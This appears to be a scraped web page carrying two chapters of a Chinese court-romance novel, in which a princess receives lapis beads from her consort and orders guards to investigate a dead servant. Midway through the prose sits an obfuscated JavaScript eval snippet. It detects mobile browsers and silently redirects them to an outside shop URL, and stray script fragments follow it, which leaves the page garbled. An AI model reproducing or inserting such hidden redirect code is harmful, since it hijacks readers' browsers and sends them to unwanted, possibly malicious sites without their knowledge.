妇人之事既了,张元曦径直出了西市,登车离开。
虞朔自是紧随公主而去,便自觉与表兄闻应海一同取了先前仆从搁置在一旁的物件,快步跟上。
北门外,闻应海躬身目送,马车徐徐驶离西市。
一路?车马辚辚,两人默然无言。
张元曦倚着锦缎靠垫,闭目歇息。
虞朔坐在一旁,望向那张阖着双目的面容,心头虽是千言万语,却见她眉眼间浮现出的疲倦之色,不忍出声打扰。
“玄明?”
马车快到公主府时,张元曦幽幽开口。
听公主如此唤着自己,虞朔顿时心潮激荡,当即正色应道:“臣在。”
“朔日新月,晦极而生明。”她语声轻缓,像是喃喃自语,又似说与身侧之人听,眼睫未曾掀起半分。
“公主聪慧,臣的表字正取此义。”虞朔眸中微亮,顿了一顿,方迟疑道,“臣斗胆,不知公主的表字……”
话未说完,便被那双倏然睁开的眼逼了回去。只见她眼角微湿,并未作声,只淡淡瞥来一眼。
公主地位尊崇,除却她父兄,无人敢直呼公主的字。
他虽是驸马,却并非她倾心爱慕之人。这般贸然相问,虞朔自知有失分寸,唐突了公主,方才心底翻涌的喜色,渐渐冷了下去。
“臣妄言,望公主恕罪。”虞朔压下心底失落,低声告罪,又忙道,“只是方才在西市,臣不便当众唤出公主身份,才斗胆相问。日后若再出府时,臣……该如何称呼公主才好?”
张元曦似笑非笑地看着他,嗓音轻柔:“虞将军就这般笃定,我还会再乔装出去,且带你同去?”
“臣先前在圣人面前曾言,必当倾尽所有护公主平安,并非妄言之辞。而今虽是四海清明,却难免藏有宵小之徒。故而,为公主安危着想,无论去哪里,臣身为您的驸马,自当随身护佑。”
他略一垂眸,语声更轻,却也更坚定:“若是公主不愿让臣知晓,臣自会避开,当作从未听到,从未看到。”
便如在宋氏药肆那般,他不过是想看看公主所见之人究竟是何模样。
张元曦听罢,心中暗忖此人不愧是领兵将帅,旋即揶揄道:“虞将军总说自己不过是个武夫,而今却是言辞凿凿,倒比许多饱读诗书的士子更善言辞。”
他抬眼望她,眼底藏着谁也看不出来的执拗:“即便公主不肯应允臣同去,臣亦是要尽力让公主应允的。”
“我拭目以待,看虞将军如何尽力。”张元曦一笑置之,又缓缓道:“若当真如你所愿,你能寻得理由说服我带你同去,届时,我便告诉你该当如何称呼。”
不多时,车马回到了公主府。
虞朔扶着她下了车,听她又吩咐侍女,将买回的物件分给府中众人。这众人,自然也都是府中有些体面身份的下人。
时近榴月,今日虽无骄阳当空,走这一遭到底沾了些汗和尘土。
两人甫回碧梧堂,便各自更衣去了。
待到虞朔拿着锦匣去寻公主时,便见珠帘内,有一美人懒倚榻上,五六个侍女环侍左右。侍女们有打扇的,有捶腿的,有喂枇杷的……皆无微不至地伺候着公主。
他脚步不觉一顿,目光不经意触到一截白皙藕臂时,便似被烫着一般,仓皇垂了眼。心中不由回想起昨夜那双藕臂搂住他脖颈时的绵软,心中无法克制地生出一股躁动。
虞朔目光扫过屋里,旋即抬步走过去,将案桌上的茶水端起,仰头便灌了下去。
茶水入喉,他却更渴了。
直到过了半晌,虞朔才敢卷帘而入,在公主面前坐下。
张元曦早已听见他的脚步声,懒懒半睁着眼,随意一瞥,便屏退了侍女:“说罢。”
“今日臣在西市,自表兄的铺子寻得一物,甚是与公主相配,特来赠给公主。”
恍若牡丹苑的旧事重演,虞朔将手中锦匣打开,双手递了过去。
匣中静静卧着一串瑟瑟珠,色若靛青,蓝中隐有金屑,珠粒圆润饱满,一看便知不是凡品。
张元曦饶有兴味,抬手将那串瑟瑟珠拿起,凑到眼前细细端详。
“此珠名为瑟瑟,乃天然宝石雕琢而成,自西域而来,可与琥珀、金银并等。臣的表兄闻应海,常年带着商队途经西域,往更远处行商。这串瑟瑟珠,便是臣请他从西域带回来的。”
虞朔稍顿,继续道:“他是臣母亲堂兄之子,他们为族人生计,不得已弃仕从商,唯余臣母亲一脉,守着旧业,最终还是没能撑住。到臣这一辈,便只剩下臣一人。早些年,臣在征战西域时与他们意外重逢,许是血缘之亲,又许是看在臣的身份上,他们既想亲近臣,又因商贾之身,时时避嫌。是以我们成婚时,他们并未到场,只恐惹人非议,累及公主清誉。”
张元曦静静地听完这番话,心头的疑团稍稍解开,也明白了他祖父何以与他们不和。而吏部官甲只录官员的外祖、嫡舅等直系母族尊长,这一旁支自然没有记载。
“春秋时,管子曾言,士农工商四民皆是国家柱石,上则富国,下则富家。而今世道礼法森严,自有一番尊卑贵贱。”她垂下眼,看着指尖捻着的那颗瑟瑟珠,缓缓开口,“可谁又说得准,后世会是何等光景。”
虞朔一怔,她这番言论可谓失当,竟不知如何接话。然而心底深处,他对公主的眷恋,却莫名地又深了一层。
碧梧堂内蓦地一阵寂然,偶尔传出瑟瑟珠相互碰撞的轻响。
“公主高见,臣……受教。”
“你赠的瑟瑟珠串甚合我意。”张元曦将那串珠子放回匣中,指尖在锦匣上不紧不慢地一叩,随手合上,“说吧,你想要什么赏赐。”
“公主自幼见惯奇珍异宝,臣送这珠子,原就是想讨公主欢心。公主若肯赏脸收下,便是给臣最大的赏赐了。”
巧言令色。
张元曦这话本已到嘴边,望着他眼底那份恳切的真诚,终究咽了回去。
-
三日后,天光未亮。
虞朔睁开双眼,不得不起床上职。
他轻手轻脚收拾妥当,将公主先前赠予的白玉珠串戴在左腕。临行前,虞朔脚步蓦地一顿,旋即回身进了内室撩开纱帐。
虞朔悬在半空的指尖,将那张睡颜的轮廓细细临摹一遍,又深深凝望片刻,才悄然放下纱帐,转身出门。
芙蓉帐里,张元曦仍然睡得正香。
直至天光大亮,才被偷偷溜进内室的狸奴闹醒。她慵懒支起身子,任由那狸奴踩在衾被上蹭她的手背。
梳洗过后,张元曦用罢早膳,便抱着狸奴闲步至园中。
这几日,身旁时刻有另外一个人相伴,此刻骤然清静下来,反倒生出几分不习惯。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947780|213790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
张元曦忽地一笑,这般心绪,连自己都觉得有些莫名。
少焉,她在水榭中坐定,将狸奴放下来,任由它迈着短粗的腿溜达去了水边,同游来近岸的鲤鱼嬉闹。
张元曦手里捏着一个玉葫芦,眸光落在荡漾的池面上,若有所思。
在为街头那具男尸盖棺前,她遣府中昔日与卫王有过来往的仆婢前往辨尸。
最终,徐怀将他认了出来。
此人原是卫王昔日颇为信任的内侍。
卫王回朝之时,当年随行之人并未全数返回长安。
那些人或因水土不服,或是遭人暗害,这情况都可算作是寻常。
可他为何以成了妇人的郎君,又如何自己回来,毙命于长安?
那妇人倒是有可能知晓一些。然而她却日夜啼哭,状若痛不欲生。
也罢,且待她伤心过后,再问不迟。
“公主,田义和葛台求见。”
青阳走过来,低声禀报。
此二人,正是三日前张元曦留在宋氏药肆的侍卫。
“让他们过来吧。”
青阳应声退下。
俄顷,田义与葛台一前一后进了水榭,躬身行礼:“拜见公主。”
“免礼。”张元曦并未回身。
身形相对清瘦的葛台禀道:“属下在宋氏药肆等了三日,那少年始终不曾现身。入夜后,便让那小厮引路,带我们去了鬼市,寻到那少年先前过夜的破旧芦舍,却是一无所获。直至昨夜再探查时,竟在芦舍里发现了另一名小厮,人虽然还活着,但已经神志不清了,而地面亦多了争斗后的痕迹。”
田义耿直道:“属下将小厮带了回来,公主可要一见?”
话未说完,便被葛台暗暗踹了一脚。
葛台心道他莫不是也疯了,让公主见一个疯子!
张元曦转过身来,目光落在二人身上:“你们想办法,继续追查那个少年。至于小厮,先秘密安置在府中,再暗中寻访擅长诊治此症的郎中,为他医治。”
二人心知公主此话之意,便是要瞒着驸马。
“是。”
“那鬼市里果然有妇孺老弱?”
“回公主,是的。一些青壮白日会外出谋生,或搬货、舂米、修缮、清扫,做一日工得一日钱。而那些老弱无力劳作,只能拾荒乞食,瞧着确有几分可怜。另有一些落魄方士、亡命之徒之类的诡异人物,常在夜间贩卖违禁之物。”
张元曦沉吟片刻,吩咐道:“你二人随徐怀今日去趟万年县衙,请县令、县尉过府一叙。切记,此事不要声张。”
“属下遵命。”
葛台恭声道:“公主,那座废弃别业,可需要让影先生出面一探?属下等不善机关秘术,恐难以发现其中隐秘。”
“诡秘之地……”
张元曦轻声自语,眉间微微一蹙,目光落向水边的狸奴身上。
寅将军正将自己的肉垫探入水中,似要去借此钓到池中的鲤鱼。
片刻后,张元曦眉眼含笑地缓缓开口:“令黑影今夜前去探查一番。若果真是另有隐秘,便将那个人的埋尸之地,定在那座废弃别业里。”
两名护卫瞧着公主面上的明媚笑意,心底骤然泛起一阵瘆人的寒意,脊背微微发紧。
二人对视一眼,暗自庆幸他们对公主一向忠心耿耿。